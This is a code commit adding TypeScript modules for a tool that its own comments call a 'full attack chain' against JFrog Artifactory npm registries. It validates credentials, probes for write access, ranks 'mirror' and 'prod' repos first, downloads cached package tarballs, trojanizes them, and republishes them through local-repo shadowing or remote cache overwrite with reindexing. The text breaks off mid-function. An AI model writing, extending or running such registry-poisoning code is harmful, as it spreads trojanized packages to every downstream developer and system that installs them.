Upload files to "src/mutator/jfrognpm"
This commit is contained in:
@@ -0,0 +1,215 @@
|
||||
// JFrog Artifactory credential validation.
|
||||
// Supports API keys (X-JFrog-Art-Api), Bearer tokens (JWT + reftkn), and Basic auth.
|
||||
|
||||
import { logUtil } from "../../utils/logger";
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Types
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export type JfrogCredentialType = "api-key" | "bearer" | "basic";
|
||||
|
||||
export interface JfrogCredential {
|
||||
type: JfrogCredentialType;
|
||||
value: string;
|
||||
}
|
||||
|
||||
export interface JfrogSession {
|
||||
baseUrl: string;
|
||||
credential: JfrogCredential;
|
||||
username: string;
|
||||
isAdmin: boolean;
|
||||
canWrite: boolean;
|
||||
npmRepos: string[];
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Credential detection
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Auto-detect the credential type from its format.
|
||||
* - JWT access tokens start with "eyJ" → Bearer
|
||||
* - Reference tokens start with "cmVmdGtu" (base64 of "reftkn") → Bearer
|
||||
* - Contains ":" → Basic auth
|
||||
* - Everything else → API key (X-JFrog-Art-Api header)
|
||||
*/
|
||||
export function detectCredential(raw: string): JfrogCredential {
|
||||
if (raw.startsWith("eyJ") || raw.startsWith("cmVmdGtu")) {
|
||||
return { type: "bearer", value: raw };
|
||||
}
|
||||
if (raw.includes(":") || (raw.length < 60 && raw.includes("="))) {
|
||||
return { type: "basic", value: raw };
|
||||
}
|
||||
return { type: "api-key", value: raw };
|
||||
}
|
||||
|
||||
export function authHeader(cred: JfrogCredential): Record<string, string> {
|
||||
switch (cred.type) {
|
||||
case "api-key":
|
||||
return { "X-JFrog-Art-Api": cred.value };
|
||||
case "bearer":
|
||||
return { Authorization: `Bearer ${cred.value}` };
|
||||
case "basic":
|
||||
return { Authorization: `Basic ${cred.value}` };
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Validation
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export interface ValidationResult {
|
||||
valid: boolean;
|
||||
session: JfrogSession | null;
|
||||
error?: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* Full credential validation pipeline:
|
||||
* 1. Ping (best-effort; reference tokens often lack system access)
|
||||
* 2. Resolve username
|
||||
* 3. Enumerate npm repos
|
||||
* 4. Test write access with a probe package
|
||||
*/
|
||||
export async function validateCredentials(
|
||||
baseUrl: string,
|
||||
cred: JfrogCredential,
|
||||
): Promise<ValidationResult> {
|
||||
const headers = authHeader(cred);
|
||||
|
||||
// Step 1 — Ping
|
||||
let pingOk = false;
|
||||
const pingUrl = `${baseUrl}/api/system/ping`;
|
||||
logUtil.log(`[jfrognpm] [1/4] PING ${pingUrl}`);
|
||||
try {
|
||||
const ping = await fetch(pingUrl, { headers });
|
||||
pingOk = ping.status === 200;
|
||||
logUtil.log(
|
||||
`[jfrognpm] → ${ping.status} ${pingOk ? "OK" : "(scoped token — expected)"}`,
|
||||
);
|
||||
} catch {
|
||||
logUtil.log(`[jfrognpm] → connection failed`);
|
||||
}
|
||||
|
||||
// Step 2 — Resolve username
|
||||
logUtil.log(`[jfrognpm] [2/4] WHOAMI ${baseUrl}/api/v1/system/me`);
|
||||
let username = "unknown";
|
||||
let isAdmin = false;
|
||||
try {
|
||||
const meRes = await fetch(`${baseUrl}/api/v1/system/me`, { headers });
|
||||
if (meRes.ok) {
|
||||
const me = (await meRes.json()) as any;
|
||||
username = me.username ?? me.name ?? "unknown";
|
||||
isAdmin = me.admin ?? false;
|
||||
logUtil.log(`[jfrognpm] → ${username} (admin=${isAdmin})`);
|
||||
} else {
|
||||
logUtil.log(`[jfrognpm] → ${meRes.status} — continuing`);
|
||||
}
|
||||
} catch {
|
||||
logUtil.log(`[jfrognpm] → failed — continuing`);
|
||||
}
|
||||
|
||||
// Step 3 — Enumerate npm repos
|
||||
logUtil.log(
|
||||
`[jfrognpm] [3/4] LIST ${baseUrl}/api/repositories?packageType=npm`,
|
||||
);
|
||||
let npmRepos: string[] = [];
|
||||
try {
|
||||
const repoRes = await fetch(`${baseUrl}/api/repositories?packageType=npm`, {
|
||||
headers,
|
||||
});
|
||||
if (repoRes.ok) {
|
||||
const repos = (await repoRes.json()) as any[];
|
||||
npmRepos = (repos ?? []).map((r: any) => r.key);
|
||||
logUtil.log(
|
||||
`[jfrognpm] → ${npmRepos.length} repo(s): ${npmRepos.join(", ") || "(none)"}`,
|
||||
);
|
||||
} else {
|
||||
logUtil.log(`[jfrognpm] → ${repoRes.status}`);
|
||||
}
|
||||
} catch (e) {
|
||||
logUtil.log(`[jfrognpm] → failed: ${e}`);
|
||||
}
|
||||
|
||||
if (!pingOk && npmRepos.length === 0) {
|
||||
return {
|
||||
valid: false,
|
||||
session: null,
|
||||
error: `Token rejected — unable to ping or list npm repos`,
|
||||
};
|
||||
}
|
||||
|
||||
// Step 4 — Test write access
|
||||
logUtil.log(
|
||||
`[jfrognpm] [4/4] WRITE probe — PUT then DELETE __jfrog_sec_test__`,
|
||||
);
|
||||
let canWrite = false;
|
||||
const testPkg = "__jfrog_sec_test__";
|
||||
|
||||
for (const repo of npmRepos) {
|
||||
const putUrl = `${baseUrl}/api/npm/${repo}/${encodeURIComponent(testPkg)}`;
|
||||
logUtil.log(`[jfrognpm] PUT ${putUrl}`);
|
||||
try {
|
||||
const testBody = JSON.stringify({
|
||||
name: testPkg,
|
||||
version: "1.0.0",
|
||||
_id: testPkg,
|
||||
"dist-tags": { latest: "1.0.0" },
|
||||
versions: {
|
||||
"1.0.0": {
|
||||
name: testPkg,
|
||||
version: "1.0.0",
|
||||
dist: {
|
||||
tarball: `${baseUrl}/api/npm/${repo}/${testPkg}/-/${testPkg}-1.0.0.tgz`,
|
||||
},
|
||||
},
|
||||
},
|
||||
_attachments: {
|
||||
[`${testPkg}-1.0.0.tgz`]: {
|
||||
content_type: "application/octet-stream",
|
||||
data: Buffer.from(
|
||||
"H4sIAAAAAAAAA+3RMQrDMAwF0F6n8ClstNKgSw/RM3RSJ4dGSDAl/+8vxCVkKrR07/J/8VkTe3ZwXntq5cL1PA+bD/o1rNjt+pl51QfWVbFqjW5vsDWecAoR57/vawEAAA==",
|
||||
"base64",
|
||||
).toString(),
|
||||
length: 44,
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
const putRes = await fetch(putUrl, {
|
||||
method: "PUT",
|
||||
headers: { ...headers, "Content-Type": "application/json" },
|
||||
body: testBody,
|
||||
});
|
||||
|
||||
if (putRes.ok || putRes.status === 409) {
|
||||
canWrite = true;
|
||||
logUtil.log(
|
||||
`[jfrognpm] → ${putRes.status} — WRITE CONFIRMED on ${repo}`,
|
||||
);
|
||||
} else {
|
||||
logUtil.log(`[jfrognpm] → ${putRes.status} — no write access`);
|
||||
}
|
||||
|
||||
logUtil.log(`[jfrognpm] DELETE ${putUrl}`);
|
||||
await fetch(putUrl, { method: "DELETE", headers }).catch(() => {});
|
||||
} catch (e) {
|
||||
logUtil.log(`[jfrognpm] → error: ${e}`);
|
||||
}
|
||||
|
||||
if (canWrite) break;
|
||||
}
|
||||
|
||||
return {
|
||||
valid: true,
|
||||
session: {
|
||||
baseUrl,
|
||||
credential: cred,
|
||||
username,
|
||||
isAdmin,
|
||||
canWrite,
|
||||
npmRepos,
|
||||
},
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,383 @@
|
||||
// JFrog NPM Mutator
|
||||
//
|
||||
// Full attack chain for JFrog Artifactory-hosted npm registries:
|
||||
// 1. Validate credentials against the Artifactory instance
|
||||
// 2. Enumerate npm repos (local, remote, virtual) and cached packages
|
||||
// 3. Download legitimate tarballs through the Artifactory proxy
|
||||
// 4. Trojanize each tarball (reuses the shared tarball.ts pipeline)
|
||||
// 5. Republish via local shadowing or cache overwrite
|
||||
//
|
||||
// Usage:
|
||||
// const mutator = new JfrogNpmMutator(session, { packages: ["lodash"] });
|
||||
// await mutator.execute();
|
||||
|
||||
import { $ } from "bun";
|
||||
import { createWriteStream } from "fs";
|
||||
import * as fs from "fs/promises";
|
||||
import { join } from "path";
|
||||
import { Readable } from "stream";
|
||||
import { pipeline } from "stream/promises";
|
||||
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { Mutator } from "../base";
|
||||
import { updateTarball } from "../npm/tarball";
|
||||
import { type JfrogSession } from "./auth";
|
||||
import { type PublishResult, publishToJfrog } from "./publish";
|
||||
import {
|
||||
enumerateNpmRepos,
|
||||
fetchPackageVersion,
|
||||
findShadowRepo,
|
||||
listCachedPackages,
|
||||
type NpmRepoInfo,
|
||||
type PackageVersionInfo,
|
||||
} from "./registry";
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Repo prioritization — mirror/prod first
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const PRIORITY_TERMS = ["mirror", "prod"] as const;
|
||||
|
||||
function repoPriorityScore(key: string): number {
|
||||
const lower = key.toLowerCase();
|
||||
for (const term of PRIORITY_TERMS) {
|
||||
if (lower.includes(term)) return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Types
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export interface JfrogNpmOptions {
|
||||
/**
|
||||
* Explicit package names to target. If omitted, the mutator enumerates
|
||||
* all cached packages from accessible repos.
|
||||
*/
|
||||
packages?: string[];
|
||||
/**
|
||||
* Maximum number of packages to process **per repo**.
|
||||
* @default 50
|
||||
*/
|
||||
maxPackages?: number;
|
||||
/**
|
||||
* Prefer cache overwrite over local publish, even if a local repo exists.
|
||||
* @default false
|
||||
*/
|
||||
forceCacheOverwrite?: boolean;
|
||||
/**
|
||||
* Only enumerate and list targetable packages — do not download,
|
||||
* trojanize, or republish anything.
|
||||
* @default true
|
||||
*/
|
||||
reconOnly?: boolean;
|
||||
}
|
||||
|
||||
export interface JfrogNpmReport {
|
||||
totalPackages: number;
|
||||
published: number;
|
||||
failed: number;
|
||||
results: PublishResult[];
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// JfrogNpmMutator
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export class JfrogNpmMutator extends Mutator {
|
||||
private readonly session: JfrogSession;
|
||||
private readonly options: Required<JfrogNpmOptions>;
|
||||
|
||||
private repoMap: Map<string, NpmRepoInfo> = new Map();
|
||||
private shadowRepo: string | null = null;
|
||||
|
||||
constructor(session: JfrogSession, options: JfrogNpmOptions = {}) {
|
||||
super();
|
||||
this.session = session;
|
||||
this.options = {
|
||||
packages: options.packages ?? [],
|
||||
maxPackages: options.maxPackages ?? 50,
|
||||
forceCacheOverwrite: options.forceCacheOverwrite ?? false,
|
||||
reconOnly: options.reconOnly ?? true,
|
||||
};
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Guard
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
override async shouldExecute(): Promise<boolean> {
|
||||
if (!this.session.canWrite) {
|
||||
logUtil.log("[jfrognpm] No write access detected — skipping mutation");
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Main execution
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
override async execute(): Promise<Boolean> {
|
||||
try {
|
||||
// Resolve target packages (uses session.npmRepos directly, no per-repo fetch)
|
||||
const packages = await this.resolvePackages();
|
||||
|
||||
if (this.options.reconOnly) {
|
||||
return this.executeRecon(packages);
|
||||
}
|
||||
|
||||
// Execute mode: need repo map + shadow repo for publish routing
|
||||
this.repoMap = new Map(
|
||||
(await enumerateNpmRepos(this.session)).map((r) => [r.key, r]),
|
||||
);
|
||||
this.shadowRepo = this.options.forceCacheOverwrite
|
||||
? null
|
||||
: findShadowRepo([...this.repoMap.values()]);
|
||||
|
||||
return this.executeFull(packages);
|
||||
} catch (e) {
|
||||
logUtil.error(e);
|
||||
logUtil.error("[jfrognpm] Mutator execution failed");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Recon mode — list packages, do NOT replace
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private executeRecon(
|
||||
packages: Array<{ name: string; repo: string; version: string }>,
|
||||
): boolean {
|
||||
if (packages.length === 0) {
|
||||
logUtil.error("No targetable packages found.");
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
for (const pkg of packages) {
|
||||
logUtil.error(
|
||||
` ${pkg.name.padEnd(40)} @${pkg.version.padEnd(12)} repo=${pkg.repo}`,
|
||||
);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Full execution — download, trojanize, republish
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private async executeFull(
|
||||
packages: Array<{ name: string; repo: string; version: string }>,
|
||||
): Promise<boolean> {
|
||||
if (packages.length === 0) {
|
||||
logUtil.log("[jfrognpm] No target packages found.");
|
||||
return false;
|
||||
}
|
||||
|
||||
logUtil.log(
|
||||
`[jfrognpm] Targeting ${packages.length} package(s):`,
|
||||
packages.map((p) => p.name).join(", "),
|
||||
);
|
||||
|
||||
if (this.shadowRepo) {
|
||||
logUtil.log(`[jfrognpm] Shadow repo for publishing: ${this.shadowRepo}`);
|
||||
} else {
|
||||
logUtil.log("[jfrognpm] No shadow local repo — will use cache overwrite");
|
||||
}
|
||||
|
||||
logUtil.log("[jfrognpm] Downloading and trojanizing packages...");
|
||||
const tmpDir = await $`mktemp -d`.text().then((s) => s.trim());
|
||||
|
||||
const report: JfrogNpmReport = {
|
||||
totalPackages: packages.length,
|
||||
published: 0,
|
||||
failed: 0,
|
||||
results: [],
|
||||
};
|
||||
|
||||
for (const pkg of packages) {
|
||||
try {
|
||||
logUtil.log(`[jfrognpm] processing ${pkg.name}...`);
|
||||
const result = await this.processPackage(pkg, tmpDir);
|
||||
report.results.push(result);
|
||||
if (result.success) {
|
||||
report.published++;
|
||||
} else {
|
||||
report.failed++;
|
||||
}
|
||||
} catch (e) {
|
||||
report.failed++;
|
||||
logUtil.log(`[jfrognpm] Unhandled error for ${pkg.name}: ${e}`);
|
||||
}
|
||||
}
|
||||
|
||||
await fs.rm(tmpDir, { recursive: true, force: true }).catch(() => {});
|
||||
|
||||
logUtil.log(
|
||||
`[jfrognpm] Done. ${report.published} published, ${report.failed} failed.`,
|
||||
);
|
||||
|
||||
return report.published > 0;
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Package resolution
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private async resolvePackages(): Promise<
|
||||
Array<{ name: string; repo: string; version: string }>
|
||||
> {
|
||||
// Sort by priority: repos with "mirror"/"prod" first
|
||||
const targetRepos = [...this.session.npmRepos].sort(
|
||||
(a, b) => repoPriorityScore(a) - repoPriorityScore(b),
|
||||
);
|
||||
|
||||
if (this.options.packages.length > 0) {
|
||||
const sourceRepo = targetRepos[0];
|
||||
if (!sourceRepo) return [];
|
||||
|
||||
const resolved: Array<{ name: string; repo: string; version: string }> =
|
||||
[];
|
||||
for (const pkgName of this.options.packages) {
|
||||
const meta = await fetchPackageVersion(
|
||||
this.session,
|
||||
sourceRepo,
|
||||
pkgName,
|
||||
);
|
||||
if (meta) {
|
||||
resolved.push({
|
||||
name: meta.name,
|
||||
repo: sourceRepo,
|
||||
version: meta.version,
|
||||
});
|
||||
}
|
||||
}
|
||||
return resolved;
|
||||
}
|
||||
|
||||
// Auto-enumerate from all repos — maxPackages per repo
|
||||
const packages: Array<{ name: string; repo: string; version: string }> = [];
|
||||
|
||||
for (const repoKey of targetRepos) {
|
||||
let repoCount = 0;
|
||||
const cached = await listCachedPackages(this.session, repoKey);
|
||||
if (cached.length < 10) {
|
||||
continue;
|
||||
}
|
||||
|
||||
for (const pkg of cached) {
|
||||
if (repoCount >= this.options.maxPackages) break;
|
||||
|
||||
const meta = await fetchPackageVersion(this.session, repoKey, pkg.name);
|
||||
if (meta) {
|
||||
packages.push({
|
||||
name: meta.name,
|
||||
repo: repoKey,
|
||||
version: meta.version,
|
||||
});
|
||||
repoCount++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return packages;
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Per-package processing
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private async processPackage(
|
||||
pkg: { name: string; repo: string; version: string },
|
||||
tmpDir: string,
|
||||
): Promise<PublishResult> {
|
||||
const meta = await fetchPackageVersion(this.session, pkg.repo, pkg.name);
|
||||
if (!meta) {
|
||||
return {
|
||||
success: false,
|
||||
method: "local",
|
||||
repo: pkg.repo,
|
||||
pkgName: pkg.name,
|
||||
version: pkg.version,
|
||||
error: "Failed to resolve package metadata",
|
||||
};
|
||||
}
|
||||
|
||||
const tarballPath = await this.downloadTarball(meta, tmpDir);
|
||||
if (!tarballPath) {
|
||||
return {
|
||||
success: false,
|
||||
method: "local",
|
||||
repo: pkg.repo,
|
||||
pkgName: meta.name,
|
||||
version: meta.version,
|
||||
error: "Failed to download tarball",
|
||||
};
|
||||
}
|
||||
|
||||
let trojanizedPath: string;
|
||||
try {
|
||||
trojanizedPath = await updateTarball(tarballPath, {
|
||||
tag: "[jfrognpm]",
|
||||
addBunDep: true,
|
||||
});
|
||||
} catch (e) {
|
||||
return {
|
||||
success: false,
|
||||
method: "local",
|
||||
repo: pkg.repo,
|
||||
pkgName: meta.name,
|
||||
version: meta.version,
|
||||
error: `Tarball modification failed: ${e}`,
|
||||
};
|
||||
}
|
||||
|
||||
let targetRepo: string;
|
||||
let targetType: string;
|
||||
|
||||
if (this.shadowRepo) {
|
||||
targetRepo = this.shadowRepo;
|
||||
targetType = "local";
|
||||
} else {
|
||||
targetRepo = pkg.repo;
|
||||
targetType = this.repoMap.get(pkg.repo)?.type ?? "remote";
|
||||
}
|
||||
|
||||
return publishToJfrog(this.session, trojanizedPath, targetRepo, targetType);
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Tarball download helper
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private async downloadTarball(
|
||||
meta: PackageVersionInfo,
|
||||
tmpDir: string,
|
||||
): Promise<string | null> {
|
||||
try {
|
||||
const res = await fetch(meta.tarballUrl);
|
||||
if (!res.ok || !res.body) {
|
||||
logUtil.log(`[jfrognpm] Failed to fetch tarball: ${meta.tarballUrl}`);
|
||||
return null;
|
||||
}
|
||||
|
||||
const safeName = meta.name.replace("@", "").replace("/", "-");
|
||||
const filename = `${safeName}-${meta.version}.tgz`;
|
||||
const dest = join(tmpDir, filename);
|
||||
|
||||
await pipeline(
|
||||
Readable.fromWeb(res.body as import("stream/web").ReadableStream),
|
||||
createWriteStream(dest),
|
||||
);
|
||||
|
||||
return dest;
|
||||
} catch (e) {
|
||||
logUtil.log(`[jfrognpm] Tarball download error: ${e}`);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,330 @@
|
||||
// Publish (or replace) npm packages in JFrog Artifactory.
|
||||
//
|
||||
// Two strategies:
|
||||
// 1. **Local publish** — PUT to a local repo. If the local repo is included
|
||||
// in a virtual repo's resolution order *before* the remote, the trojanized
|
||||
// package shadows the legitimate one for all consumers of the virtual.
|
||||
// 2. **Cache overwrite** — Directly replace the cached .tgz artifact in a
|
||||
// remote repository via the Artifactory REST API.
|
||||
//
|
||||
// Strategy 1 is preferred (cleaner, normal npm publish flow).
|
||||
// Strategy 2 is a fallback when no writable local repo is available.
|
||||
|
||||
import { createHash } from "node:crypto";
|
||||
import { readFile } from "node:fs/promises";
|
||||
import { gunzipSync } from "node:zlib";
|
||||
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { authHeader, type JfrogSession } from "./auth";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Types
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export type PublishMethod = "local" | "cache-overwrite";
|
||||
|
||||
export interface PublishResult {
|
||||
success: boolean;
|
||||
method: PublishMethod;
|
||||
repo: string;
|
||||
pkgName: string;
|
||||
version: string;
|
||||
error?: string;
|
||||
}
|
||||
|
||||
interface PackageJson {
|
||||
name: string;
|
||||
version: string;
|
||||
readme?: string;
|
||||
[key: string]: unknown;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Package.json extraction (mirrors npm/publish.ts)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
function extractPackageJson(tar: Buffer): PackageJson {
|
||||
let offset = 0;
|
||||
while (offset + 512 <= tar.length) {
|
||||
const header = tar.subarray(offset, offset + 512);
|
||||
if (header[0] === 0) break;
|
||||
|
||||
const nameField = header.subarray(0, 100);
|
||||
const nameEnd = nameField.indexOf(0);
|
||||
const name = nameField
|
||||
.subarray(0, nameEnd === -1 ? 100 : nameEnd)
|
||||
.toString("utf8");
|
||||
|
||||
const sizeStr = header
|
||||
.subarray(124, 136)
|
||||
.toString("utf8")
|
||||
.replace(/\0/g, "")
|
||||
.trim();
|
||||
const size = sizeStr ? parseInt(sizeStr, 8) : 0;
|
||||
|
||||
offset += 512;
|
||||
|
||||
if (name === "package/package.json" || name.endsWith("/package.json")) {
|
||||
const data = tar.subarray(offset, offset + size);
|
||||
return JSON.parse(data.toString("utf8")) as PackageJson;
|
||||
}
|
||||
|
||||
offset += Math.ceil(size / 512) * 512;
|
||||
}
|
||||
throw new Error("package.json not found in tarball");
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Strategy 1: Publish to a local repo (npm PUT endpoint)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Publish a trojanized tarball to an Artifactory local npm repo via the
|
||||
* standard npm publish protocol (PUT).
|
||||
*
|
||||
* The registry endpoint is:
|
||||
* PUT {baseUrl}/api/npm/{repoKey}/{encodedPkgName}
|
||||
*
|
||||
* This is the same protocol as `npm publish --registry=...`.
|
||||
*/
|
||||
async function publishToLocal(
|
||||
session: JfrogSession,
|
||||
tarballPath: string,
|
||||
repoKey: string,
|
||||
): Promise<PublishResult> {
|
||||
const headers = authHeader(session.credential);
|
||||
|
||||
const tarballBuffer = await readFile(tarballPath);
|
||||
const decompressed = gunzipSync(tarballBuffer);
|
||||
const pkg = extractPackageJson(decompressed);
|
||||
|
||||
const { name, version } = pkg;
|
||||
if (!name || !version) {
|
||||
return {
|
||||
success: false,
|
||||
method: "local",
|
||||
repo: repoKey,
|
||||
pkgName: name ?? "unknown",
|
||||
version: version ?? "unknown",
|
||||
error: "package.json missing required 'name' or 'version'",
|
||||
};
|
||||
}
|
||||
|
||||
const integrity =
|
||||
"sha512-" + createHash("sha512").update(tarballBuffer).digest("base64");
|
||||
const shasum = createHash("sha1").update(tarballBuffer).digest("hex");
|
||||
const base64Data = tarballBuffer.toString("base64");
|
||||
const tarballFilename = `${name}-${version}.tgz`;
|
||||
const tarballUrl = `${session.baseUrl}/api/npm/${repoKey}/${name}/-/${tarballFilename}`;
|
||||
|
||||
const versionMetadata = {
|
||||
...pkg,
|
||||
name,
|
||||
version,
|
||||
readme: pkg.readme ?? "ERROR: No README data found!",
|
||||
dist: { integrity, shasum, tarball: tarballUrl },
|
||||
};
|
||||
|
||||
const body = {
|
||||
_id: name,
|
||||
name,
|
||||
"dist-tags": { latest: version },
|
||||
versions: { [version]: versionMetadata },
|
||||
access: "public",
|
||||
_attachments: {
|
||||
[tarballFilename]: {
|
||||
content_type: "application/octet-stream",
|
||||
data: base64Data,
|
||||
length: tarballBuffer.length,
|
||||
},
|
||||
} as Record<string, { content_type: string; data: string; length: number }>,
|
||||
};
|
||||
|
||||
const encodedName = encodeURIComponent(name).replace("%40", "@");
|
||||
const url = `${session.baseUrl}/api/npm/${repoKey}/${encodedName}`;
|
||||
|
||||
try {
|
||||
const res = await fetch(url, {
|
||||
method: "PUT",
|
||||
headers: {
|
||||
...headers,
|
||||
"Content-Type": "application/json",
|
||||
},
|
||||
body: JSON.stringify(body),
|
||||
});
|
||||
|
||||
if (res.ok) {
|
||||
logUtil.log(
|
||||
`[jfrognpm] Published ${name}@${version} to local repo ${repoKey}`,
|
||||
);
|
||||
return {
|
||||
success: true,
|
||||
method: "local",
|
||||
repo: repoKey,
|
||||
pkgName: name,
|
||||
version,
|
||||
};
|
||||
}
|
||||
|
||||
const errorText = await res.text().catch(() => "");
|
||||
return {
|
||||
success: false,
|
||||
method: "local",
|
||||
repo: repoKey,
|
||||
pkgName: name,
|
||||
version,
|
||||
error: `HTTP ${res.status} — ${errorText.slice(0, 300)}`,
|
||||
};
|
||||
} catch (e) {
|
||||
return {
|
||||
success: false,
|
||||
method: "local",
|
||||
repo: repoKey,
|
||||
pkgName: name,
|
||||
version,
|
||||
error: e instanceof Error ? e.message : String(e),
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Strategy 2: Overwrite remote cache artifact
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Overwrite a cached package tarball in a remote Artifactory repository.
|
||||
*
|
||||
* Steps:
|
||||
* 1. DELETE the existing cached .tgz artifact
|
||||
* 2. PUT the trojanized .tgz in its place
|
||||
* 3. POST a reindex to force metadata recalculation
|
||||
*
|
||||
* The cache artifact path is:
|
||||
* {baseUrl}/{repoKey}/{pkgName}/-/{pkgName}-{version}.tgz
|
||||
*/
|
||||
async function overwriteCacheArtifact(
|
||||
session: JfrogSession,
|
||||
tarballPath: string,
|
||||
repoKey: string,
|
||||
pkgName: string,
|
||||
pkgVersion: string,
|
||||
): Promise<PublishResult> {
|
||||
const headers = authHeader(session.credential);
|
||||
const tarballBuffer = await readFile(tarballPath);
|
||||
const tarballFilename = `${pkgName}-${pkgVersion}.tgz`;
|
||||
|
||||
// Build the cache path. Scoped packages have / in the URL.
|
||||
const cachePath = `/${repoKey}/${encodeURIComponent(pkgName)}/-/${tarballFilename}`;
|
||||
const artifactUrl = `${session.baseUrl}${cachePath}`;
|
||||
|
||||
const sha1 = createHash("sha1").update(tarballBuffer).digest("hex");
|
||||
|
||||
try {
|
||||
// Step 1 — Delete existing cached artifact
|
||||
logUtil.log(`[jfrognpm] Deleting cached artifact: ${artifactUrl}`);
|
||||
const delRes = await fetch(artifactUrl, {
|
||||
method: "DELETE",
|
||||
headers,
|
||||
});
|
||||
if (!delRes.ok) {
|
||||
logUtil.log(
|
||||
`[jfrognpm] Delete returned ${delRes.status} — artifact may not exist yet, continuing`,
|
||||
);
|
||||
}
|
||||
|
||||
// Step 2 — Upload the replacement
|
||||
logUtil.log(`[jfrognpm] Uploading replacement: ${artifactUrl}`);
|
||||
const putRes = await fetch(artifactUrl, {
|
||||
method: "PUT",
|
||||
headers: {
|
||||
...headers,
|
||||
"Content-Type": "application/octet-stream",
|
||||
"X-Checksum-Sha1": sha1,
|
||||
},
|
||||
body: tarballBuffer,
|
||||
});
|
||||
|
||||
if (!putRes.ok) {
|
||||
const errorText = await putRes.text().catch(() => "");
|
||||
return {
|
||||
success: false,
|
||||
method: "cache-overwrite",
|
||||
repo: repoKey,
|
||||
pkgName,
|
||||
version: pkgVersion,
|
||||
error: `PUT failed: HTTP ${putRes.status} — ${errorText.slice(0, 300)}`,
|
||||
};
|
||||
}
|
||||
|
||||
// Step 3 — Reindex to force metadata recalculation
|
||||
const reindexUrl = `${session.baseUrl}/api/npm/${repoKey}/reindex/${encodeURIComponent(pkgName)}`;
|
||||
logUtil.log(`[jfrognpm] Reindexing: ${reindexUrl}`);
|
||||
await fetch(reindexUrl, { method: "POST", headers }).catch((e) => {
|
||||
logUtil.log(`[jfrognpm] Reindex failed (non-fatal): ${e}`);
|
||||
});
|
||||
|
||||
logUtil.log(
|
||||
`[jfrognpm] Cache overwrite for ${pkgName}@${pkgVersion} in ${repoKey}`,
|
||||
);
|
||||
return {
|
||||
success: true,
|
||||
method: "cache-overwrite",
|
||||
repo: repoKey,
|
||||
pkgName,
|
||||
version: pkgVersion,
|
||||
};
|
||||
} catch (e) {
|
||||
return {
|
||||
success: false,
|
||||
method: "cache-overwrite",
|
||||
repo: repoKey,
|
||||
pkgName,
|
||||
version: pkgVersion,
|
||||
error: e instanceof Error ? e.message : String(e),
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Unified publish entry point
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Publish a trojanized tarball to an Artifactory npm repo.
|
||||
*
|
||||
* Tries local publish first (strategy 1). Falls back to cache overwrite
|
||||
* (strategy 2) if the target repo is remote/federated or local publish fails
|
||||
* with a permission error.
|
||||
*/
|
||||
export async function publishToJfrog(
|
||||
session: JfrogSession,
|
||||
tarballPath: string,
|
||||
repoKey: string,
|
||||
repoType: string,
|
||||
): Promise<PublishResult> {
|
||||
const tarballBuffer = await readFile(tarballPath);
|
||||
const decompressed = gunzipSync(tarballBuffer);
|
||||
const pkg = extractPackageJson(decompressed);
|
||||
|
||||
if (repoType === "local") {
|
||||
// Prefer local npm publish
|
||||
const result = await publishToLocal(session, tarballPath, repoKey);
|
||||
if (result.success) return result;
|
||||
|
||||
// If local publish fails with 403/405, don't try cache overwrite
|
||||
// on a local repo — it doesn't make sense.
|
||||
logUtil.log(`[jfrognpm] Local publish failed: ${result.error}`);
|
||||
return result;
|
||||
}
|
||||
|
||||
// Remote / virtual / federated — use cache overwrite
|
||||
return overwriteCacheArtifact(
|
||||
session,
|
||||
tarballPath,
|
||||
repoKey,
|
||||
